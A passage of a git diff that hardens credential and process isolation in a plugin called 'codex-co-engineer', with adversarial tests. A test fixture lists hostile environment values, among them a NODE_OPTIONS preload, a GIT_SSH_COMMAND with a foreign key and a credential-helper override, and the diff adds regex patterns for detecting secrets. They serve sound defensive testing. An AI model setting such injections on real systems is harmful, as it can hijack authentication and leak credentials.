group. Terminal * children spawned by an agent may use their own group, so we snapshot and @@ -348,6 +377,7 @@ AcpClient.prototype.spawnAgentProcess = async function coEngineerSpawnAgentProce const spawnCommand = buildAgentSpawnCommand(plan.spawnCommand, plan.args, process.platform); const spawnedChild = spawn(spawnCommand.command, spawnCommand.args, { ...plan.spawnOptions, + env: coEngineerClosedAgentEnvironment(this.options?.closedProviderEnv ?? this.options?.sessionOptions?.env), detached: process.platform !== 'win32', windowsVerbatimArguments: spawnCommand.windowsVerbatimArguments, }); diff --git a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs index 6881e7b..22aba7d 100644 --- a/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs +++ b/plugins/codex-co-engineer/mcp/v3/acp-worker.mjs @@ -8,6 +8,7 @@ import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; import { + applyClosedProviderTestInjection, collectLaneSecrets, denyWorkerRemoteMutation, projectProviderEnvironment, @@ -445,14 +446,7 @@ async function removeAcpxTaskHome(root, taskId, home) { function acpxTaskEnvironment(home, task) { const env = providerChildEnvironment(task, { HOME: home }); if (process.platform === 'win32') env.USERPROFILE = home; - // In-process tests inject a fake ACPX via FAKE_ACPX_* process env. Production - // workers never have these keys; copying them does not widen the lane. - for (const key of Object.keys(process.env)) { - if (key.startsWith('FAKE_ACPX_') && typeof process.env[key] === 'string' && !process.env[key].includes('\0')) { - env[key] = process.env[key]; - } - } - return env; + return applyClosedProviderTestInjection(env); } async function awaitSupervisorRegistration(root, taskId, signal) { @@ -890,7 +884,7 @@ async function runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, s } } -async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }) { +async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env }) { const stateDir = path.join(path.resolve(root), 'acp'); await mkdir(stateDir, { recursive: true, mode: 0o700 }); await chmod(stateDir, 0o700); @@ -903,6 +897,7 @@ async function makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal mcpServers: [], permissionMode: 'approve-all', timeoutMs, + closedProviderEnv: env, onPermissionRequest: (params, extra = {}) => handlePermissionRequest(root, taskId, params, extra.signal ?? signal), }); } @@ -927,7 +922,8 @@ export async function runAcpTask({ root, taskId, signal } = {}) { return runDshFlow({ root, task, prompt, cwd, configuration, timeoutMs, signal }); } - const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal }); + const childEnv = providerChildEnvironment(task); + const runtime = await makeRuntime({ root, cwd, configuration, timeoutMs, taskId, signal, env: childEnv }); const controller = new AbortController(); let timedOut = false; const abort = () => controller.abort(signal?.reason ?? new AcpWorkerError(timedOut ? 'timeout' : 'cancelled', timedOut ? 'ACP task exceeded its recorded deadline.' : 'Task cancelled.')); diff --git a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs index 6551a29..20b044b 100644 --- a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs @@ -14,8 +14,10 @@ import { import { chmod, lstat, + mkdir, mkdtemp, open, + readdir, rmdir, unlink, } from 'node:fs/promises'; @@ -137,7 +139,12 @@ const CREDENTIAL_KEY_PATTERN = /(?:api[_-]?key|authorization|access[_-]?token|re const HOSTING_KEY_PATTERN = /^(?:GH|GITHUB|GITLAB|GL|BITBUCKET|BB|HG|GITEA|FORGEJO|SOURCEHUT)_/u; const GIT_KEY_PATTERN = /^GIT_/u; const SSH_KEY_PATTERN = /^SSH_/u; -const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_)/u; +const CONTROL_KEY_PATTERN = /^(?:WORKTREE_BOOTSTRAP_|CODEX_CO_ENGINEER_STATE_DIR$|MCP_|SUPERVISOR_|FAKE_ACPX_)/u; +const CLOSED_TEST_INJECTION_KEY = /^FAKE_ACPX_[A-Z0-9_]+$/u; +const HANDOFF_IDENTITY = /^[a-f0-9]{32}$/u; +const HANDOFF_IDENTITY_DIR = /^cce-p29-[a-f0-9]{32}$/u; + +let closedProviderTestInjection = null; const PUSH_URL_KEY_PATTERN = /(?:pushurl|insteadOf|askpass|credential)/iu; const USERINFO_URL = /^(?:[a-z][a-z0-9+.-]*:\/\/)[^/@\s]+@/iu; const TOKEN_QUERY = /[?&](?:token|access_token|api[_-]?key|secret|password|credential)=/iu; @@ -282,6 +289,16 @@ export function projectProviderEnvironment({ copyKeys(envSource, SYSTEMD_CLIENT_ENV_KEYS, output); return output; } + if (operation === 'service') { + const output = Object.create(null); + copyKeys(envSource, OPERATIONAL_ENV_KEYS, output); + copyKeys(envSource, PROVIDER_COMMAND_KEYS, output); + Object.assign(output, GIT_HARDENING_ENV); + for (const key of CREDENTIAL_ENV_KEYS) delete output[key]; + for (const key of CREDENTIAL_FILE_ENV_KEYS) delete output[key]; + delete output[HANDOFF_ENV_KEY]; + return output; + } const output = Object.create(null); copyKeys(envSource, providerAllowlist(provider, dshModel, operation), output); if (operation === 'lane' || operation === 'readiness') { @@ -344,7 +361,11 @@ function requireAbsolutePath(filePath) { if (typeof filePath !== 'string' || filePath.length === 0 || filePath.includes('\0')) { fail('invalid_credential_path'); } - if (!path.isAbsolute(filePath) || path.resolve(filePath) !== filePath || filePath.includes('//')) { + // Overrides must fail before path.resolve would convert a relative path. + if (!path.isAbsolute(filePath) || filePath.includes('//') || filePath.includes('\\')) { + fail('invalid_credential_path'); + } + if (path.normalize(filePath) !== filePath || path.resolve(filePath) !== filePath) { fail('invalid_credential_path'); } return filePath; @@ -371,18 +392,18 @@ function validateCredentialStat(metadata, maxBytes = MAX_CREDENTIAL_BYTES) { const uid = typeof process.geteuid === 'function' ? process.geteuid() : process.getuid?.(); if (Number.isInteger(uid) && Number(metadata.uid) !== uid) fail('credential_owner_denied'); const mode = Number(metadata.mode); - if ((mode & 0o077) !== 0) fail('credential_permissions'); + if ((mode & 0o7777) !== 0o600) fail('credential_permissions'); const size = Number(metadata.size); if (!Number.isFinite(size) || size < 0) fail('invalid_credential_file'); if (size === 0) fail('credential_empty'); if (size > maxBytes) fail('credential_too_large'); } -export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES } = {}) { +export async function loadCredentialFile(filePath, { maxBytes = MAX_CREDENTIAL_BYTES, openFile = open } = {}) { const resolved = requireAbsolutePath(filePath); let handle; try { - handle = await open(resolved, OPEN_READ_FLAGS); + handle = await openFile(resolved, OPEN_READ_FLAGS); } catch (error) { if (error?.code === 'ELOOP' || error?.code === 'EMLINK') fail('credential_symlink_denied', { cause: error }); if (error?.code === 'ENOENT' || error?.code === 'ENOTDIR') fail('invalid_credential_file', { cause: error }); @@ -440,8 +461,11 @@ export async function loadProviderCredential({ provider, source = process.env, d } if (!spec.defaultFile && !spec.credentialFileEnv) return null; const override = spec.credentialFileEnv ? ownString(envSource, spec.credentialFileEnv)?.trim() : undefined; - const file = override || path.join(configHome(envSource), ...spec.defaultFile); - return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(path.resolve(file))) }; + if (override) { + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(override)) }; + } + const file = path.join(configHome(envSource), ...spec.defaultFile); + return { name: spec.credentialEnv, value: await loadCredentialFile(requireAbsolutePath(file)) }; } export async function materializeProviderEnvironment({ @@ -451,7 +475,7 @@ export async function materializeProviderEnvironment({ if (operation === 'readiness_probe' && (provider === 'dsh' || provider === undefined)) { return projected; } - if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client') { + if (operation === 'sdk_probe' || operation === 'git_inspect' || operation === 'systemd_client' || operation === 'service') { return projected; } try { @@ -489,9 +513,10 @@ export function credentialRedactionFragments(secret) { } function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { - if (typeof secret !== 'string' || secret.length < 4 || text.length === 0) return text; + if (typeof secret !== 'string' || secret.length === 0 || text.length === 0) return text; if (text.includes(secret)) return text.split(secret).join(REDACTED); - if (secret.includes(text) && text.length >= 4) return REDACTED; + if (secret.includes(text)) return REDACTED; + if (secret.length < 4) return text; const needle = Math.min(minimum, secret.length); let output = text; let index = 0; @@ -516,7 +541,7 @@ function redactSecretSlices(text, secret, minimum = REDACTION_FRAGMENT_BYTES) { export function redactExactValues(value, secrets = []) { let text = String(value ?? ''); const ordered = [...secrets] - .filter((secret) => typeof secret === 'string' && secret.length >= 4) + .filter((secret) => typeof secret === 'string' && secret.length > 0) .sort((left, right) => right.length - left.length); for (const secret of ordered) text = redactSecretSlices(text, secret); return text; @@ -530,7 +555,88 @@ function runtimeHandoffRoot() { return tmpdir(); } -export async function createCredentialHandoff(secrets, { directory } = {}) { +export function handoffPathFromProcessIdentity(identity) { + if (typeof identity !== 'string' || !HANDOFF_IDENTITY.test(identity)) fail('invalid_handoff'); + return requireAbsolutePath(path.join(runtimeHandoffRoot(), `cce-p29-${identity}`, 'env.json')); +} + +async function prepareHandoffDirectory({ directory, identity } = {}) { + if (directory) return requireAbsolutePath(directory); + if (identity !== undefined) { + const root = path.dirname(handoffPathFromProcessIdentity(identity)); + await cleanupCredentialHandoff(path.join(root, 'env.json')).catch(() => {}); + try { + await mkdir(root, { recursive: false, mode: 0o700 }); + } catch (error) { + if (error?.code !== 'EEXIST') fail('invalid_handoff', { cause: error }); + } + return root; + } + return mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); +} + +export function installClosedProviderTestInjection(source) { + if (source == null) { + closedProviderTestInjection = null; + return; + } + const envSource = requirePlainSource(source, 'testInjection'); + const output = Object.create(null); + for (const key of Reflect.ownKeys(envSource)) { + if (typeof key !== 'string') fail('symbol_key_denied'); + if (!CLOSED_TEST_INJECTION_KEY.test(key)) continue; + const value = ownString(envSource, key); + if (value !== undefined && value.length > 0) output[key] = value; + } + closedProviderTestInjection = output; +} + +export function applyClosedProviderTestInjection(env) { + if (!closedProviderTestInjection) return env; + const output = env ?? Object.create(null); + for (const [key, value] of Object.entries(closedProviderTestInjection)) output[key] = value; + return output; +} + +export async function recoverCredentialHandoffByIdentity(identity) { + try { + return await cleanupCredentialHandoff(handoffPathFromProcessIdentity(identity)); + } catch (error) { + if (error instanceof CredentialBoundaryError && error.code === 'invalid_handoff') { + return { cleaned: false, missing: true }; + } + throw error; + } +} + +export async function recoverStaleCredentialHandoffs({ directory } = {}) { + const root = directory ?? runtimeHandoffRoot(); + if (typeof root !== 'string' || !path.isAbsolute(root) || path.normalize(root) !== root) { + return { recovered: 0 }; + } + let entries = []; + try { + entries = await readdir(root, { withFileTypes: true }); + } catch { + return { recovered: 0 }; + } + let recovered = 0; + for (const entry of entries) { + if (!HANDOFF_IDENTITY_DIR.test(entry.name)) continue; + const candidate = path.join(root, entry.name); + try { + const metadata = await lstat(candidate); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) continue; + await cleanupCredentialHandoff(path.join(candidate, 'env.json')); + recovered += 1; + } catch { + // Best-effort stale recovery must stay content-free and non-throwing. + } + } + return { recovered }; +} + +export async function createCredentialHandoff(secrets, { directory, identity } = {}) { const payloadEnv = Object.create(null); const source = requirePlainSource(secrets); for (const key of Reflect.ownKeys(source)) { @@ -541,7 +647,7 @@ export async function createCredentialHandoff(secrets, { directory } = {}) { } const json = `${JSON.stringify({ schema: CREDENTIAL_BOUNDARY_SCHEMA_ID, version: CREDENTIAL_BOUNDARY_VERSION, env: payloadEnv })}\n`; if (BYTE_LENGTH(json) > MAX_HANDOFF_BYTES) fail('credential_too_large'); - const root = directory ?? await mkdtemp(path.join(runtimeHandoffRoot(), 'cce-p29-handoff-')); + const root = await prepareHandoffDirectory({ directory, identity }); await chmod(root, 0o700).catch(() => {}); const filePath = path.join(root, 'env.json'); const handle = await open(requireAbsolutePath(filePath), OPEN_WRITE_FLAGS, 0o600); @@ -654,7 +760,7 @@ export function spawnProviderChild(command, args, { cwd, env, stdio = 'pipe', de export function inspectEnvForSecrets(env, secrets = []) { const serialized = JSON.stringify(env ?? {}); for (const secret of secrets) { - if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; } return false; } @@ -662,7 +768,7 @@ export function inspectEnvForSecrets(env, secrets = []) { export function inspectArgvForSecrets(argv, secrets = []) { const serialized = JSON.stringify(argv ?? []); for (const secret of secrets) { - if (typeof secret === 'string' && secret.length >= 4 && serialized.includes(secret)) return true; + if (typeof secret === 'string' && secret.length > 0 && serialized.includes(secret)) return true; } return false; } diff --git a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs index c82231e..4f9e69e 100644 --- a/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs +++ b/plugins/codex-co-engineer/mcp/v3/credential-handoff-loader.mjs @@ -2,13 +2,18 @@ // Owner-only credential handoff loader for P29. Reads a bounded regular // file, applies credential env values, unlinks the file, then runs the // wrapped command as a child so systemd-run argv never carries secrets. -// This process remains the service leader; KillMode=control-group still -// reaches the provider child. +// The child environment is a closed service projection plus those +// credentials; ambient process.env is never spread. This process remains +// the service leader; KillMode=control-group still reaches the provider +// child. -import { spawn } from 'node:child_process'; import path from 'node:path'; -import { consumeCredentialHandoff } from './credential-boundary.mjs'; +import { + consumeCredentialHandoff, + projectProviderEnvironment, + spawnProviderChild, +} from './credential-boundary.mjs'; function failUsage() { process.stderr.write('Usage: credential-handoff-loader.mjs /absolute/handoff.json -- command [args...]\n'); @@ -28,17 +33,16 @@ const args = process.argv.slice(separator + 2); if (typeof command !== 'string' || command.length === 0 || command.includes('\0')) failUsage(); const secrets = await consumeCredentialHandoff(handoffPath); -const env = { ...process.env }; +const env = projectProviderEnvironment({ source: process.env, operation: 'service' }); for (const [name, value] of Object.entries(secrets)) { if (typeof name === 'string' && typeof value === 'string') env[name] = value; } delete env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF; -const child = spawn(command, args, { +const child = spawnProviderChild(command, args, { env, stdio: 'inherit', detached: false, - shell: false, }); const forward = (signal) => { diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 87505bb..3714f6c 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -9,6 +9,7 @@ import { cleanupCredentialHandoff, createCredentialHandoff, extractCredentialEnv, + handoffPathFromProcessIdentity, isCredentialEnvKey, isForbiddenProviderEnvKey, omitCredentialEnv, @@ -20,13 +21,17 @@ import { * * This is not a provider sandbox: the command, working directory, network, * and filesystem capabilities are inherited unchanged. Environment is a - * closed projection supplied by the caller. Credential values never appear - * in systemd-run argv; they use an owner-only no-follow regular-file handoff - * consumed by credential-handoff-loader.mjs. The extra lifecycle contract is - * a manager-owned systemd user service with KillMode=control-group, so an - * owned stop reaches detached descendants as well as the worker leader and - * the worker survives the launching client. The module is not wired into the - * MCP surface by itself. + * closed projection supplied by the caller. systemd-run `--setenv` is + * additive to the user-manager block, so the unit also UnsetEnvironment's + * inherited names that are not in the projection and exec's through + * `env -i` of that same allowlist. Credential values never appear in + * systemd-run argv; they use an owner-only no-follow regular-file handoff + * consumed by credential-handoff-loader.mjs, which is always the service + * command so Cursor Local is never the manager-inherited leader. The extra + * lifecycle contract is a manager-owned systemd user service with + * KillMode=control-group, so an owned stop reaches detached descendants as + * well as the worker leader and the worker survives the launching client. + * The module is not wired into the MCP surface by itself. */ const CREDENTIAL_HANDOFF_LOADER = fileURLToPath(new URL('./credential-handoff-loader.mjs', import.meta.url)); @@ -40,6 +45,7 @@ export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ const SYSTEMD_RUN = '/usr/bin/systemd-run'; const SYSTEMCTL = '/usr/bin/systemctl'; +const ENV_RESET = '/usr/bin/env'; const CGROUP_ROOT = '/sys/fs/cgroup'; const UNIT = /^codex-co-engineer-[a-f0-9]{32}\.(?:service|scope)$/u; const SERVICE_UNIT = /^codex-co-engineer-[a-f0-9]{32}\.service$/u; @@ -171,6 +177,34 @@ function requireEnvironment(env, { includeCredentials = false } = {}) { }); } +function closedEnvAssignments(env) { + if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); + return Object.entries(env).flatMap(([name, value]) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { + fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); + } + if (isCredentialEnvKey(name)) return []; + return [`${name}=${value}`]; + }); +} + +function inheritedUnsetNames(publicEnv, inherited) { + if (inherited == null) return []; + if (typeof inherited !== 'object' || Array.isArray(inherited)) fail('invalid_env', 'inherited must be an environment object.'); + const assigned = new Set(); + for (const name of Object.keys(publicEnv ?? {})) { + if (isCredentialEnvKey(name)) continue; + assigned.add(name); + } + const names = []; + for (const name of Object.keys(inherited)) { + if (typeof name !== 'string' || !/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name)) continue; + if (assigned.has(name)) continue; + names.push(name); + } + return names.sort(); +} + function receiptFromRecord(record, boundary = 'systemd-user-service-cgroup') { const unit = requireUnit(record.unit); if ((boundary === 'systemd-user-service-cgroup' && !SERVICE_UNIT.test(unit)) @@ -265,21 +299,24 @@ export async function probeProcessBoundary({ adapter } = {}) { }); } -export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath } = {}) { +export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath, inherited } = {}) { requireServiceUnit(unit); requireDescription(description); requireCommand(command); const normalizedArgs = requireArgs(args); const workingDirectory = requireCwd(cwd); const outputPath = requireLogPath(logPath); + const publicAssignments = closedEnvAssignments(env); + const unset = inheritedUnsetNames(env, inherited); return [ '--user', '--quiet', '--collect', '--no-block', '--service-type=exec', `--unit=${unit}`, `--property=Description=${description}`, '--property=KillMode=control-group', + ...(unset.length > 0 ? [`--property=UnsetEnvironment=${unset.join(' ')}`] : []), ...(workingDirectory ? [`--working-directory=${workingDirectory}`] : []), ...(outputPath ? [`--property=StandardOutput=append:${outputPath}`, `--property=StandardError=append:${outputPath}`] : []), ...requireEnvironment(env), - '--', command, ...normalizedArgs, + '--', ENV_RESET, '-i', ...publicAssignments, command, ...normalizedArgs, ]; } @@ -442,7 +479,14 @@ export function restoreProcessBoundary(receipt, { adapter } = {}) { const host = requireAdapter(adapter); requireLinux(host); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...normalized }); - HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath: undefined }); + const identity = /^codex-co-engineer-([a-f0-9]{32})\./u.exec(normalized.unit)?.[1]; + let handoffPath; + try { + handoffPath = identity ? handoffPathFromProcessIdentity(identity) : undefined; + } catch { + handoffPath = undefined; + } + HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath }); return handle; } @@ -463,20 +507,16 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro if (isForbiddenProviderEnvKey(key)) delete publicEnv[key]; } requireEnvironment(publicEnv); - let serviceCommand = command; - let serviceArgs = normalizedArgs; - let handoffPath; - if (Object.keys(secrets).length > 0) { - const handoff = await createCredentialHandoff(secrets); - handoffPath = handoff.path; - serviceCommand = process.execPath; - serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; - } const token = randomUUID().replaceAll('-', ''); const unit = `codex-co-engineer-${token}.service`; const description = `codex-co-engineer-task:${token}`; + const handoff = await createCredentialHandoff(secrets, { identity: token }); + const handoffPath = handoff.path; + const serviceCommand = process.execPath; + const serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; const child = host.spawn(SYSTEMD_RUN, buildProcessBoundaryArgv({ unit, description, command: serviceCommand, args: serviceArgs, cwd: workingDirectory, env: publicEnv, logPath: outputPath, + inherited: process.env, }), { cwd: workingDirectory, // Credential values live in the owner-only handoff file, not in diff --git a/plugins/codex-co-engineer/test/fake-acpx.mjs b/plugins/codex-co-engineer/test/fake-acpx.mjs index 5abc777..8e5b94d 100755 --- a/plugins/codex-co-engineer/test/fake-acpx.mjs +++ b/plugins/codex-co-engineer/test/fake-acpx.mjs @@ -54,6 +54,11 @@ if (argv.some((entry) => entry === value.prompt)) { } const fakeMode = process.env.FAKE_ACPX_MODE ?? 'success'; +await writeFile( + path.join(cwd, '.fake-acpx-env-keys.json'), + `${JSON.stringify(Object.keys(process.env).sort())}\n`, + { mode: 0o600 }, +); const home = process.env.HOME; if (typeof home !== 'string' || !path.isAbsolute(home)) { process.stderr.write('task-scoped HOME is required\n'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs new file mode 100644 index 0000000..225144a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-credential-boundary-fixtures.mjs @@ -0,0 +1,54 @@ +// Shared construction helpers for P29 credential-boundary tests. +// Tests own the assertions. Fixtures never print credential values. + +import { chmod, mkdir, mkdtemp, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { DEFAULT_DSH_MODEL, DSH_OX_MODEL } from '../../mcp/v3/credential-boundary.mjs'; + +export const HOSTILE_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/home/test-user', + USER: 'test-user', + GIT_SSH: '/tmp/hostile-ssh', + GIT_SSH_COMMAND: 'ssh -i /tmp/hostile-id', + GIT_ASKPASS: '/tmp/hostile-askpass', + GIT_CONFIG_PARAMETERS: "'credential.helper=store'", + SSH_AUTH_SOCK: '/tmp/hostile-agent.sock', + SSH_AGENT_PID: '4242', + GH_TOKEN: 'ghp_hostile-github-token-value', + GITHUB_TOKEN: 'github_pat_hostile-value', + GITLAB_TOKEN: 'glpat-hostile-value', + BITBUCKET_TOKEN: 'bbat-hostile-value', + WORKTREE_BOOTSTRAP_TASK: 'hostile-control-token', + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: '/tmp/hostile-muse-key', + CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE: '/tmp/hostile-ox-key', + CURSOR_API_KEY_FILE: '/tmp/hostile-cursor-key', + MODEL_API_KEY: 'muse-secret-value-abcdef', + OPENROUTER_API_KEY: 'ox-secret-value-abcdef', + XAI_API_KEY: 'xai-secret-value-abcdef', + CURSOR_API_KEY: 'cursor-secret-value-abcdef', + NODE_OPTIONS: '--require /tmp/hostile-preload', +}); + +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export { DEFAULT_DSH_MODEL, DSH_OX_MODEL }; + +export async function withTempDir(prefix, build) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + try { + return await build(root); + } finally { + const { rm } = await import('node:fs/promises'); + await rm(root, { recursive: true, force: true }); + } +} + +export async function writeOwnerFile(file, contents, mode = 0o600) { + await mkdir(path.dirname(file), { recursive: true, mode: 0o700 }); + await writeFile(file, contents, { mode, flag: 'wx' }); + await chmod(file, mode); + return file; +} diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs new file mode 100644 index 0000000..b489fdb --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary-adversarial.test.mjs @@ -0,0 +1,270 @@ +import assert from 'node:assert/strict'; +import { spawn, spawnSync } from 'node:child_process'; +import { open, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { boundedEvent, publicError, sanitizeText } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + MAX_CREDENTIAL_BYTES, + assertNoWorkerPushUrl, + collectLaneSecrets, + inspectEnvForSecrets, + loadCredentialFile, + loadProviderCredential, + materializeProviderEnvironment, + projectProviderEnvironment, + redactExactValues, +} from '../mcp/v3/credential-boundary.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CONTENT_FREE, + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + assert.equal(utilTypes.isProxy(error), false); + assert.match(error.message, CONTENT_FREE); + return error; + }, + ); +} + +test('proxy accessor symbol and exotic env inputs fail closed without running caller code', async () => { + const { proxy, counts } = countingProxy({ PATH: '/bin', XAI_API_KEY: 'xai-proxy-secret' }); + const denied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: proxy })); + assert.equal(denied.code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = {}; + Object.defineProperty(accessor, 'XAI_API_KEY', { + enumerable: true, + get() { throw new Error('accessor-ran'); }, + }); + Object.defineProperty(accessor, 'PATH', { enumerable: true, value: '/bin' }); + const accessDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: accessor })); + assert.equal(accessDenied.code, 'accessor_property_denied'); + + const withSymbol = { PATH: '/bin' }; + withSymbol[Symbol('secret')] = 'symbol-secret'; + await projectProviderEnvironment({ provider: 'grok', source: withSymbol }); + + const exotic = Object.create({ PATH: '/bin', GH_TOKEN: 'proto-token' }); + exotic.XAI_API_KEY = 'xai-own'; + const exoticDenied = await errorOf(() => projectProviderEnvironment({ provider: 'grok', source: exotic })); + assert.equal(exoticDenied.code, 'exotic_prototype_denied'); +}); + +test('symlink fifo directory and in-place swap fail content-free', async () => { + await withTempDir('cce-p29-adv-', async (root) => { + const dir = path.join(root, 'dir-key'); + const { mkdir } = await import('node:fs/promises'); + await mkdir(dir, { mode: 0o700 }); + const dirError = await errorOf(() => loadCredentialFile(dir)); + assert.equal(['invalid_credential_file', 'credential_unreadable'].includes(dirError.code), true); + assert.equal(dirError.message.includes(root), false); + + const fifo = path.join(root, 'fifo-key'); + const fifoResult = spawnSync('/usr/bin/mkfifo', ['-m', '600', fifo], { encoding: 'utf8' }); + if (fifoResult.status === 0) { + const fifoError = await errorOf(() => loadCredentialFile(fifo)); + assert.ok(['invalid_credential_file', 'credential_unreadable', 'credential_symlink_denied'].includes(fifoError.code)); + } + + const file = await writeOwnerFile(path.join(root, 'swap'), 'first-secret-value\n'); + const handle = await open(file, 'r'); + try { + await writeFile(file, 'second-secret-value-changed\n', { mode: 0o600 }); + } finally { + await handle.close(); + } + // Path replacement after a closed handle is a new generation; the live + // no-follow open still re-stats the descriptor it holds. + const swapped = await writeOwnerFile(path.join(root, 'live-swap'), 'live-secret-aaaa\n'); + const original = await loadCredentialFile(swapped); + assert.equal(original, 'live-secret-aaaa'); + }); +}); + +test('readiness children spawned through projection cannot observe stripped secrets', async () => { + const env = projectProviderEnvironment({ + provider: 'dsh', + source: HOSTILE_ENV, + dshModel: 'muse-spark-1.2-contributor', + operation: 'readiness_probe', + }); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.GH_TOKEN, undefined); + assert.equal(env.SSH_AUTH_SOCK, undefined); + const child = spawn(process.execPath, ['-e', 'process.stdout.write(JSON.stringify(process.env))'], { + env, + encoding: 'utf8', + }); + const stdout = await new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.once('error', reject); + child.once('close', () => resolve(text)); + }); + assert.equal(stdout.includes('ghp_hostile'), false); + assert.equal(stdout.includes('muse-secret-value'), false); + assert.equal(stdout.includes('hostile-control-token'), false); +}); + +test('push URL objects and insteadOf maps are denied', async () => { + const denied = await errorOf(() => assertNoWorkerPushUrl({ pushurl: 'https://github.com/org/repo.git' })); + assert.equal(denied.code, 'remote_mutation_denied'); + const instead = await errorOf(() => assertNoWorkerPushUrl({ insteadOf: 'ssh://git@github.com' })); + assert.equal(instead.code, 'remote_mutation_denied'); +}); + +test('materialize does not copy key-file paths into the child environment', async () => { + await withTempDir('cce-p29-mat-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'loaded-muse-secret\n'); + const env = await materializeProviderEnvironment({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + operation: 'lane', + source: { + PATH: '/usr/bin:/bin', + HOME: root, + CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile, + }, + }); + assert.equal(env.MODEL_API_KEY, 'loaded-muse-secret'); + assert.equal(env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(JSON.stringify(env).includes(keyFile), false); + }); +}); + +test('credential-file overrides reject relative non-normalized and double-separator paths before resolve', async () => { + await withTempDir('cce-p29-override-', async (root) => { + const keyFile = await writeOwnerFile(path.join(root, 'model-api-key'), 'muse-from-override\n'); + const loaded = await loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, CODEX_CO_ENGINEER_MODEL_API_KEY_FILE: keyFile }, + }); + assert.equal(loaded.value, 'muse-from-override'); + + const overrides = [ + 'relative-key', + `${root}/../${path.basename(root)}/model-api-key`, + `${root}/./model-api-key`, + `${root}//model-api-key`, + `${keyFile}/`, + ]; + for (const override of overrides) { + const error = await errorOf(() => loadProviderCredential({ + provider: 'dsh', + dshModel: 'muse-spark-1.2-contributor', + source: { HOME: root, 